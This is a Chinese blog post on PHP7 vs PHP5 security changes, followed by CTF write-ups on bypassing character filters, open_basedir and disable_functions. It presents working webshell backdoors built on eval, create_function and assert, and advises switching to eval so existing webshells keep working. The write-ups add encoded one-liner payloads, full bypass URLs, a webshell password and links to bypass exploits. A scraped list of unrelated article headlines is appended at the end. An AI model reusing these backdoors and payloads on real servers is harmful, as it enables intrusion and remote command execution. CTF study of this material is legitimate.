PHP7和PHP5上的安全区别

preg_replace()不再支持/e修饰符

利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

PHP5:

PHP7:

OR:

function backdoor($a)

{

// 通常: $a[0]是完成的匹配

// $a[1]是第一个捕获子组的匹配

// 以此类推

return eval($a[0]);

}

echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);

?>

create_function()被废弃

$func =create_function('',$_POST['cmd']);$func();

?>

unserialize()增加一个可选白名单参数

略过。。

assert()默认不再可以任意执行代码(assert和eval的区别)

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

这里说一下assert和eval的区别。

php7中规定了php.ini中的zend.assertions来限制assert。我自己实验,ubuntu安装php7.0后,zend.assertions=-1,默认并不是1。

eval函数中参数是字符,如:

eval('echo 1;');

assert函数中参数为表达式 (或者为函数),如:

assert(phpinfo())

直接传递普通代码是无法执行的,如:assert('echo 1;');

需要换成assert(eval('echo 1;'));

还有php中有可变函数的定义,比如

但是eval()是语言结构,并不是函数,不能作为这样来调用,所以为什么一句话木马里没有将eval用字符串拼接替换,而是用assert(在7.1之前),7.1的新特性就是assert作为语言结构,不能再动态的去执行,比如$_POST['1']($_POST['2']);1=assert,2=system('ls')。

但是我测试了很多次,发现php7.0中依然assert可以作为可变函数去执行,命令,并不是像eval一样的语言结构,无法作为可变函数,assert再7.0.12,7.1中依然可以作为可变函数。

但是assert确实无法作为一句话木马,经过测试php7.0中仍然可以通过$_POST['1']($_POST['2'])来实现一句话木马功能,但是7.1中,assert(xx) xx只能是函数,而不是作为字符串。

常见语言结构列表

echo()

print()

die()

isset()

unset()

include(),注意,include_once()是函数

require(),注意,require_once()是函数

array()

list()

empty()

十六进制字符串不再被认为是数字

这个修改一出,以后CTF套路会少很多啊~

很多骚操作都不能用了~

可以见ISCC的一道题目,intval处理不了16进制字符串返回0,+1,被强制转化10进制+1

不向后兼容的变更(移除了 ASP 和 script PHP 标签)

现在只有<?php ?>这样的标签能在php7上运行

移除&ltscript language="php">和<%这两种另类的php标签

废弃容易导致变量覆盖的无第二个参数的parse_str

php7函数调用解析方式,实际题目分析

error_reporting(0);

if(isset($_GET['code'])){

$code=$_GET['code'];

if(strlen($code)>40){

die("This is too Long.");

}

if(preg_match("/[A-Za-z0-9]+/",$code)){

die("NO.");

}

@eval($code);

}

else{

highlight_file(__FILE__);

}

highlight_file(__FILE);

// ?>

这道题目时evoA师傅在极客大挑战中出的一道题目,相比上面的那道题目,这道题目不是简单的让我们去执行函数了,而是让我们通过限制,去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”

$a = "phpinfo";

echo urlencode(~$a);

%8F%97%8F%96%91%99%90 //phpinfo

执行一下phpinfo,查看一下被禁用的函数:

pcntl_alarm

pcntl_fork

pcntl_waitpid

pcntl_wait

pcntl_wifexited

pcntl_wifstopped

pcntl_wifsignaled

pcntl_wifcontinued

pcntl_wexitstatus

pcntl_wtermsig

pcntl_wstopsig

pcntl_signal

pcntl_signal_get_handler

pcntl_signal_dispatch

pcntl_get_last_error

pcntl_strerror

pcntl_sigprocmask

pcntl_sigwaitinfo

pcntl_sigtimedwait

pcntl_exec

pcntl_getpriority

pcntl_setpriority

pcntl_async_signals

system

exec

shell_exec

popen

proc_open

passthru

symlink

link

syslog

imap_open

ld

dl

可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数

print_r(scandir('./'));

进行编码操作

%8F%8D%96%91%8B%A0%8D # print_r

%8C%9C%9E%91%9B%96%8D # scandir

尝试读取当前目录

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

发现了readflag和flag文件,尝试一下直接读取flag

readfile('/flag');

编码一下

%8D%9A%9E%9B%99%96%93%9A # readfile

%D0%99%93%9E%98 # /flag

尝试读取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被禁止了,但是经过fuzz发现,php的assert函数没有被禁止,我们可以使用assert函数写shell

assert($_POST['a']);

编码一下

%9E%8C%8C%9A%8D%8B # assert

%DB%A0%AF%B0%AC%AB # $_POST

%9E # a

尝试一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

//讲一下,这里我自己实验了下,貌似不能这种用法,带$_POST['x']这样的取反,只能函数中套函数。可能我深入的还不够,有师傅知道的,麻烦告诉我。

网页没有正常运行,继续尝试别的方法

在查看tmp目录下发现有其他内容

…某不知名大型跑马场,有现成的就很方便了,随便读一个shell看看内容

尝试文件包含一下

assert(include("hack.php"););

编码一下,执行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

//说说这里为什么直接结合了include和hack.php,因为include是结构语言,不是函数,因此不能作为可变函数调用,而是作为一个整体调用。

成功执行,使用蚁剑链接一下,上传我们的bypass脚本和拓展库,分享一下常用的两个

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这个过程就不演示了,主要就是演示一下最后的利用,包含我们上传的文件

assert(include("ssll.php"););

(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

执行命令

成功拿到了flag。有了前面两道题目的基础,我们继续研究最后一道题目

我跟着这位师傅的文章,通过LD_PRELOA绕过获得flag,蚁剑的插件脚本没有成功。

好巧不巧,今天帮忙做的EIS的web第一题,ezbypass也是bypass disable_functions的题目,与SYC的异曲同工。

ezbypass

查看phpinfo

先绕过open_basedir()去根目录查看文件

payload:

http://111.186.57.61:10101/?src=&cmd=mkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));

readflag,好像在红帽杯看到过这样的。是一个elf文件,要通过执行readflag去获取flag,flag是没权限直接去读的,必须通过readflag才行。

/flag

/readflag

但是我们这里看到,disable_functions中禁止了mail和putenv,这样的话,就不能通过LD_PRELOAD来绕过了。先去读下/tmp目录下的东西吧,估计有预置的马儿。

这里就很像syc的里面的题目的流程了,随便拿一个php看看

我们可以通过assert包含马儿,然后通过绕过open_basedir的方法,直接连上马儿,直接能跨目录浏览。

url地址:

http://111.186.57.61:10101/?src=&cmd=chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');assert(include(%27/tmp/test.php%27));

连接密码:

cmd

结合绕过open_basedir和assert文件包含马儿,蚁剑连接后,可以绕过open_basedir的限制

蚁剑上的绕过disable_functions插件不是太好用。既然这里的LD_PRELOAD不好用,那就用json反序列化来绕过disable_functions

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

传入/tmp中,命令改为/readflag

然后通过刚刚的包含去读到exploit.php

payload:

http://111.186.57.61:10101/?src=&cmd=chdir(%27/tmp%27);assert(include(%27exploit.php%27));

第三道题目是有关waf的bypass,独立出一篇文章记录

学习文章:https://www.jianshu.com/p/40abc594a118

https://www.jianshu.com/p/40abc594a118

http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/

php数字取反,[转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)相关推荐

  1. two+few+arguments+php,PHP5.5 ~ PHP7.2 新特性整理

    PHP5.5 ~ PHP7.2 新特性整理 一.从PHP 5.5.x 移植到 PHP 5.6.x 使用表达式定义常量 在之前的 PHP 版本中, 必须使用静态值来定义常量,声明属性以及指定函数参数默认 ...

  2. php7 部分 新特性

    部分php7的新特性 1. NULL合并运算符 由于日常使用中存在大量同时使用三元表达式和 isset()的情况,NULL 合并运算符使得变量存在且值不为NULL, 它就会返回自身的值,否则返回它的第 ...

  3. PHP7相对于PHP5的新特性,学习猿地-整理PHP5.5 ~ PHP7.2 新特性

    PHP5.5 ~ PHP7.2 新特性整理 一.从PHP 5.5.x 移植到 PHP 5.6.x 使用表达式定义常量 在之前的 PHP 版本中, 必须使用静态值来定义常量,声明属性以及指定函数参数默认 ...

  4. 令人期待的php7.4,PHP7.4新特性

    最近,PHP官网刚刚发布了7.4版本,新增了类型声明,箭头函数,数值分割等新特性,以及弃用了一些方法,下面做一下简单的介绍及说明. 类型属性 在PHP7之后,对PHP弱类型有了些改进,使用注解的方法, ...

  5. php7的新特性有哪些,php7新特性有哪些?

    php7新特性有:将PHPNG代码合并到PHP7中:降低内存消耗:标量类型声明,可以强制执行参数和返回类型:一致的64位支持:改进了异常层次:已弃用的SAPI和扩展被删除:添加了新的空合并运算符(?) ...

  6. php7.4新特性 多线程,PHP7新特性WhatwillbeinPHP7/PHPNG

    PHP7将在2015年10月正式发布,我们来看看官网给出的php7 特性 官网: http://www.php7.ca/ https://wiki.php.com/phpng PHP7新特性( Wha ...

  7. php7.3到php7.4新特性

    1.对象属性现在支持类型申明 <?php class User {public int $id;public string $name; } ?> 上列例子中将会强制转化$id为integ ...

  8. php 7.2 兼容5.5吗,PHP5.5至PHP7.2 新特性整理

    一.从PHP 5.5.x 移植到 PHP 5.6.x 使用表达式定义常量 在之前的 PHP 版本中, 必须使用静态值来定义常量,声明属性以及指定函数参数默认值. 现在你可以使用包括数值.字符串字面量以 ...

  9. php7 str split,PHP7.4新特性预览

    虽然PHP 7.4还未发布,但是RFC已经确定了该版本的一些新性.这个版本的改动有点多,有很多实用性功能.发布日期可能在2019年12月左右,但尚待确认.让我们看看有那些地方的改动. 短闭包 RFC ...

最新文章

  1. linux离线安装ftp_安装Kali Linux之后要做的前10件事
  2. 用Java 编写菜单价格和的程序_使用JAVA 编写一个程序,显示5中商品价格,用户可以选择多种商品并在其后的文本框输入购买的数量。...
  3. 设置图像的title_【HTML】2 图像标签和属性
  4. QML与C++混合编程详解
  5. Djaongo 中间件
  6. 月薪15k起,想进入这个行业有哪些书值得读?
  7. c 用户控件 多语言,多语言文本控件重叠解决方案
  8. 扩展log4j系列[二]为DailyRollingFileAppender加上maxBackupIndex属性
  9. seata分布式事务原理_又见分布式事务之Seata
  10. .Net Email操作类
  11. 单门课程成绩管理系统用c语言,[转载]C语言课程设计——学生成绩管理系统
  12. Java开发手册归纳知识点
  13. JavsScript 节流函数 分金定穴
  14. [Plant Simulation]使用TableFile和Method进行仓库仿真(Byref函数)
  15. Placing Lampposts
  16. 数学术语的英汉对照(权威,全面)
  17. MMA-Mathematica初步了解和使用-MMA
  18. [VB.NET]设置TextBox的提示文字
  19. 使用TextRank算法进行文本摘要提取(python代码)
  20. 更新mysql表结构,同步数据库表结构

热门文章

  1. java 获取当前函数名
  2. 产品运营实战系列-产品设计从0到1全流程:以优惠券为例
  3. 《02》let 和 const 命令
  4. oracle 库存管理系统,库存管理系统
  5. matlab 无向拓扑图,无向图绘画树状拓扑图算法
  6. mysql 更改root密码字段不存在_初次登陆MySQL修改密码是出现Unknown column 'password' in 'field list'的解决方法...
  7. es6 includes(), startsWith(), endsWith()
  8. 关于html以及js相关格式验证的记录
  9. Cause: com.ibatis.common.xml.NodeletException: Error parsing XML. Cause: jav
  10. Python操作Redis(转)